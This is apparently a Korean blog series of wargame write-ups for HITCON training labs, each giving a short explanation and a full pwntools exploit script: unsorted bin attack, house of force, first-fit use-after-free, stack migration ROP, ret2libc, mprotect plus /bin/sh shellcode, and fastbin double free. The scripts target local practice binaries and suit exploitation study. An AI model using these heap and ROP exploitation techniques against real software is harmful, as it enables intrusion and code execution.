hint : unsorted bin attack


우선 이 문제는 쉘을 직접 획득하지 않고 magic이라는 전역변수에 0x1305보다 큰 값이 들어가면 l33t()라는 함수를 실행시켜준다.

unsroted bin attack으로 magic변수에 값을 넣어주면 문제를 해결할 수 있다.


우선 unsorted bin attack이 가능하게 할 조건은 아래와 같다.

1. 공격자에 의해 Unsorted chunk를 생성 할 수있어야 한다. 

2. 공격자에 의해 Free chunk 영역에 값을 저장 할 수 있어야 한다. 

3. 공격자에 의해 Free chunk 와 동일한 크기의 Heap 영역을 할당 할 수 있어야 한다.


이 문제는 위 조건에 대해 막는 부분이 없기 때문에 손쉽게 익스를 할 수 있다.


익스 방법은 create()함수로 3번의 할당을 받는다.

그리고 delete()로 두번째 heap영역을 free시켜주면 unsorted bin chunk가 생긴다.

그 다음 첫번째 heap 영역을 edit()함수로 오버플로우해서 2번째 chunk의 bk를 magic - 16으로 덮는다.


그리고 다시 create()함수로 free된 chunk의 사이즈와 같은 사이즈로 새 할당을 받으면 bk값을 확인한 후 다음 chunk가 존재한다고 판단해서 main_arena+88의 주소를 magic에 넣게 된다.

free() 함수는 magic - 16 영역이 다음 chunk이기 때문에 fd 영역(magic)에 free chunk의 fd값을 저장한다.


exploit code

from pwn import *

def create(size, content):
	r.sendline("1")
	#r.recv()
	r.sendline(str(size))
	#r.recv()
	r.send(content)
	#r.recv()

def edit(index, size, content):
	r.sendline("2")
	#r.recv()
	r.sendline(str(index))
	#r.recv()
	r.sendline(str(size))
	#r.recv()
	r.sendline(content)
	#r.recv()

def delete(index):
	r.sendline("3")
	#r.recv()
	r.sendline(str(index))
	#r.recv()

if __name__ == "__main__":
	r = process("./magicheap")

	create(150, "AAAA")
	create(150, "BBBB")
	create(150, "CCCC")

	delete(1)

	payload = "D"*152
	payload += p64(0xa1)
	payload += p64(0)
	payload += p64(0x6020b0)

	edit(0, 176, payload)
	pause()

	create(150, "1111")

	r.sendline("4869")
	r.interactive()




'Wargame > Hitcon training' 카테고리의 다른 글

HITCON training lab11 (house of force)  (0) 2018.10.29
HITCON training lab10  (0) 2018.10.25
HITCON training lab6  (0) 2018.10.22
HITCON training lab4  (0) 2018.10.18
HITCON training lab5  (0) 2018.10.16

hint : house of force


예전에도 house of force를 푼 적이 있는데 이놈의 기억력이... 그래서 문서 참고해서 다시 풀었다.


다시 한번 정리하자면 house of force는

1. 공격자가 topchunk를 조작할 수 있어여 함

2. 메모리 할당할 때 크기를 자유롭게 조절할 수 있어야 함

3. 할당된 영역에 원하는 값을 입력할 수 있어야 함


이 세 가지 조건을 만족하면 house of force로 익스할 수 있다.


나의 익스 방법은

256바이트의 메모리 할당을 받은 후 topchunk를 0xffffffff로 오버플로우 시켰다.


그런 다음 내가 원하는 곳에 메모리를 할당 받기 위해 타겟의 위치를 계산해야 한다.

house of force의 문서를 보면 target address - 0x10 - topchunk의 주소를 한 값을 할당할 값으로 집어넣는데 이 문제에선 topchunk를 릭할 수 없어서 처음엔 좀 당황했다.

근데 이 문제는 magic()이라는 익스용 함수가 있고 아래는 main()함수인데 goodbye_message라는 함수를 포인터 배열에 집어넣었고 이 바이너리를 종료할 때 실행하는 부분이 있는데 여기를 공략하면 된다.



goodbye_message가 들어가는 포인터 배열은 바이너리에서 처음으로 16바이트가 malloc()되므로 add_item()한 거 보다 32바이트 전에 위치 할 것이다.

0x603010에 hello_message와 goodbye_message가 있다.

즉 malloc()할 때 적절한 값을 줘서 0x603000에 메모리가 할당되도록 하면 된다.

즉 여기선 topchunk의 address 몰라도 topchunk와의 거리는 계산할 수 있으므로 거리를 계산한 후 malloc()해주면 된다.

topchunk - 0x603000 = 0x603138 - 0x603000 = 312

즉 malloc(-312)를 해주면 main_arena.top에 0x603000가 들어간다.


그리고 main_arena.top을 확인해보면 정말 0x603000이 들어간 것을 볼 수 있다.

이제 새로 malloc()을 해주면 0x603000에 할당되었으니 이제 여기에 magic()함수의 주소를 입력해주고 5번 메뉴를 실행하면 익스가 가능하다.


from pwn import *

def add_item(size, item):
	r.sendline("2")
	r.sendline(str(size))
	r.sendline(str(item))

def change_item(idx, size, item):
	r.sendline("3")
	r.sendline(str(idx))
	r.sendline(str(size))
	r.sendline(item)

if __name__ == "__main__":
	r = process("./bamboobox")
	elf = ELF("./bamboobox")
	magic_gadget = 0x400d49

	payload = "A"*264
	payload += p64(0xffffffffffffffff)

	add_item(256, "AAAAAAAA")
	change_item(0, 272, payload)
	#pause()
	add_item(-312, "dddd")
	add_item(16, p64(magic_gadget)*2)

	r.interactive()


'Wargame > Hitcon training' 카테고리의 다른 글

HITCON training lab14 (unsorted bin attack)  (0) 2018.11.01
HITCON training lab10  (0) 2018.10.25
HITCON training lab6  (0) 2018.10.22
HITCON training lab4  (0) 2018.10.18
HITCON training lab5  (0) 2018.10.16

hint : first fit uaf


magic()이라는 함수가 있는데 이 함수는 system()함수로 flag 파일을 cat 해주는 명령을 실행하는 함수다.

이 문제의 목적은 uaf로 magic()함수를 실행시켜서 flag를 읽도록 하는것이다.

아이다로 헥스레이 해서 보면 

add_note()함수에서 malloc()을 두 번 한다.


그리고 그에 맞게 delete_note()함수에서도 free()를 두 번 한다.


이제 gdb에서 실행을 해봤다.

add_note()에서 size를 20을 주고 AAAA란 문자열을 입력했다. 그리고 할당받은 메모리 영역을 살펴보면 

notelist[0]는 아래와 같이 0x0804b008에 메모리를 할당받았다.


그리고  이번엔 delete_note()를 실행한다.

실행한 후 fasbin리스트를 보면 두개가 해제된 영역이 두개 있는것을 볼 수 있다.


이는 헥스레이로 봤듯이 두번 free를 해줬기 때문에 생긴 구조다.

즉 처음 notelist[0]에 8바이트 할당 받았던 0x0804b000과 *notelist[0]에 20바이트 할당 받았던 주소인 0x0804b010이 리스트에 추가되었다.

힙 구조에서 재할당을 효율적으로 하기 위한 방법인데 만약 malloc(8)이 두 번 이루어 지고 이후에 그 영역을 free()한 후 fastbin 리스트를 확인하면 이 리스트의 첫번째 배열엔 추가적으로 리스트가 생긴다. 따라서 이 이후에 8바이트의 새로운 재할당을 받게되면 해제 했던 그 영역이 다시 할당을 받게된다.


이전 문제에서 fastbin_dup와 같은 원리로 문제를 풀면 된다.


*notelist[i]에는 print_note_content라는 함수의 주소가 들어가게 되는데 3번 메뉴를 실행하면 *notelist[i]를 실행하는 구조이므로 *notelist[i]에 magic의 주소를 넣어주면 된다.


나의 익스 방법은 

add_note() -> add_note() -> delete_note() -> delete_note() -> add_note() 이런 식으로 진행할 것이다.

다시말해 이런 구조로 할당과 해제가 진행될 것이다.

malloc(20) -> malloc(20) -> free(8) -> free(20) -> free(8) -> free(20) -> malloc(8) -> malloc(8)


즉 세번째 할당에서 8바이트를 할당하게 되면 *notelist[i]에 들어갈 주소를 조작할 수 있다.


from pwn import *

def add(size, content):
	r.sendline("1")
	print r.recv()
	r.sendline(str(size))
	print r.recv()
	r.send(content)
	print r.recv()

def delete(index):
	r.sendline("2")
	print r.recv()
	r.sendline(str(index))
	print r.recv()

def print_note(index):
	r.sendline("3")
	print r.recv()
	r.sendline(str(index))
	print r.recvuntil("----------------------")

if __name__ == "__main__":
	r = process("./hacknote")
	magic = 0x08048986

	print r.recv()
	add(20, "AAAA")
	add(20, "BBBB")
	delete(0)
	delete(1)
	add(8, p32(magic))

	print_note(0)


설명을 두서 없이 적었는데 조만간 다시 정리 해야겠음.


Ref.https://heap-exploitation.dhavalkapil.com/attacks/first_fit.html


'Wargame > Hitcon training' 카테고리의 다른 글

HITCON training lab14 (unsorted bin attack)  (0) 2018.11.01
HITCON training lab11 (house of force)  (0) 2018.10.29
HITCON training lab6  (0) 2018.10.22
HITCON training lab4  (0) 2018.10.18
HITCON training lab5  (0) 2018.10.16

hint : fake ebp를 이용해 스택 영역을 이동시킨 후 rop.


1. fakestack으로 사용할 위치를 찾는다. 

--> rop를 하기엔 read할 수 있는 크기가 작기 때문에 stack migration을 할 곳을 찾아야 한다. 따라서 bss영역 같은 곳을 찾는다. 하지만 이 문제에선 bss영역이 8바이트밖에 되지 않으므로 dynamic 영역 +0x600과 + 0x700을 fakestack1, 2 로 선택했다.

2. 이제 rop를 해야하는데 sfp에 fakestack1(dynamic+0x600)을 넣고 ret에는 read@plt를 넣어서 read()함수를 실행시키도록 한다.그리고 fakeebp를 하기 위해 leave-ret가젯을 rop할 때 스택을 정리하는 부분에 넣어주어 puts@got를 릭해서 libc를 구하고 다시 read를 호출해서 fakestack2에 쉘 함수를 read시킨 후 leave-ret으로 fakestack2의 내용을 호출하도록 하면 클리어가 된다.


from pwn import *

r = process("./migration")
elf = ELF("./migration")

leave_ret = 0x08048504
read_plt = elf.plt["read"]
read_got = elf.got["read"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
bss = elf.bss()
system_offset = 0x24f00
binsh_offset = 0xfbd6b
pr = 0x804836d
pppr = 0x8048569
ret = 0x080484e5
ds_section = elf.get_section_by_name(".dynamic").header.sh_addr
fakestack1 = ds_section + 0x600
fakestack2 = ds_section + 0x700

log.info("read_plt = {}".format(hex(read_plt)))
log.info("read_got = {}".format(hex(read_got)))
log.info("puts_plt = {}".format(hex(puts_plt)))
log.info("puts_got = {}".format(hex(puts_got)))
log.info("fakestack1 = {}".format(hex(fakestack1)))
log.info("fakestack2 = {}".format(hex(fakestack2)))
r.recv()
#pause()

#step 1
payload = "A"*40
payload += p32(fakestack1)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(fakestack1)
payload += p32(0x100)

r.send(payload)
#pause()

#step 2
payload = p32(fakestack2)
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)

payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(fakestack2)
payload += p32(0x100)
r.sendline(payload)
#pause()

libc_puts = u32(r.recv(4))
log.info("libc_puts = {}".format(hex(libc_puts)))
libc_system = libc_puts - system_offset
log.info("libc_system = {}".format(hex(libc_system)))
binsh = binsh_offset + libc_puts
log.info("/bin/sh = {}".format(hex(binsh)))

payload = "C"*4
payload += p32(libc_system)
payload += "D"*4
payload += p32(binsh)
r.send(payload)

r.interactive()


'Wargame > Hitcon training' 카테고리의 다른 글

HITCON training lab11 (house of force)  (0) 2018.10.29
HITCON training lab10  (0) 2018.10.25
HITCON training lab4  (0) 2018.10.18
HITCON training lab5  (0) 2018.10.16
HITCON training lab12 (fastbin dup)  (0) 2018.10.08

Return to Library

libc를 릭할 수 있도록 되어있어서 libc릭 해서 system과 /bin/sh의 오프셋으로 RTL하면 됨.


from pwn import *

r = process("./ret2lib")
elf = ELF("./ret2lib")

system_offset = 0x24f00 # puts - system
cmd = "/bin/sh\x00"

print r.recv()
r.sendline("134520860") # puts@got leak
pause()
r.recvuntil("address : ")
libc_puts = r.recvuntil("\x0a").replace("\x0a", "")
libc_puts = int(libc_puts, 16)
log.info("libc_puts = {}".format(hex(libc_puts)))
libc_system = libc_puts - system_offset
log.info("libc_system = {}".format(hex(libc_system)))
binsh = libc_puts + 0xfbd6b
log.info("/bin/sh = {}".format(hex(binsh)))

payload = "A"*60

payload += p32(libc_system)
payload += "DDDD"
payload += p32(binsh)

r.sendline(payload)
r.interactive()


'Wargame > Hitcon training' 카테고리의 다른 글

HITCON training lab11 (house of force)  (0) 2018.10.29
HITCON training lab10  (0) 2018.10.25
HITCON training lab6  (0) 2018.10.22
HITCON training lab5  (0) 2018.10.16
HITCON training lab12 (fastbin dup)  (0) 2018.10.08

static 컴파일된 바이너리로 libc를 릭하지 않아도 풀 수 있었다.

하지만 binsh이 바이너리에 없어서 srop를 해 푸려고 했는데 잘 안돼서 mprotect로 bss영역의 권한을 7로 변경한 후 bss에 넣어둔 쉘코드를 실행하는 방법으로 익스했다.



from pwn import *

r = process("./simplerop")
elf = ELF("./simplerop")

bss = elf.bss()
read = elf.symbols['read']
write = elf.symbols['write']
mprotect = elf.symbols['mprotect']
ppr = 0x804838d
pppr = 0x804838c
syscall = 0x0806eef0
cmd = "/bin/sh\x00"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

log.info("bss : {}".format(hex(bss)))
log.info("read : {}".format(hex(read)))
log.info("mprotect : {}".format(hex(mprotect)))

payload = "A"*32

payload += p32(read)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(shellcode))

payload += p32(mprotect)
payload += p32(pppr)
payload += p32(0x080ea000)
payload += p32(0x10000)
payload += p32(7)

payload += p32(bss)
r.sendline(payload)
print r.recv()
r.sendline(shellcode)
r.interactive()

'Wargame > Hitcon training' 카테고리의 다른 글

HITCON training lab11 (house of force)  (0) 2018.10.29
HITCON training lab10  (0) 2018.10.25
HITCON training lab6  (0) 2018.10.22
HITCON training lab4  (0) 2018.10.18
HITCON training lab12 (fastbin dup)  (0) 2018.10.08

fastbin dup 연습 문제


from pwn import *

def add(length, name, color):
	r.sendline("1")
	print r.recv()
	r.sendline(str(length))
	print r.recv()
	r.sendline(name)
	print r.recv()
	r.sendline(color)
	#print r.recv()

def delete(num):
	r.sendline("3")
	print r.recv()
	r.sendline(str(num))
	#print r.recv()

if __name__ == "__main__":
	fack_chunk = 0x601ffa
	magic = 0x400c7b

	r = process("./secretgarden")

	add(80, "A"*8, "red")
	add(80, "B"*8, "blue")

	delete(0) # double free
	delete(1)
	delete(0)

	add(80, p64(fack_chunk), "red")
	add(80, "second", "blue")
	add(80, "third", "green")
	add(80, "A"*14+p64(magic)*2, "red")

	r.interactive()

'Wargame > Hitcon training' 카테고리의 다른 글

HITCON training lab11 (house of force)  (0) 2018.10.29
HITCON training lab10  (0) 2018.10.25
HITCON training lab6  (0) 2018.10.22
HITCON training lab4  (0) 2018.10.18
HITCON training lab5  (0) 2018.10.16

+ Recent posts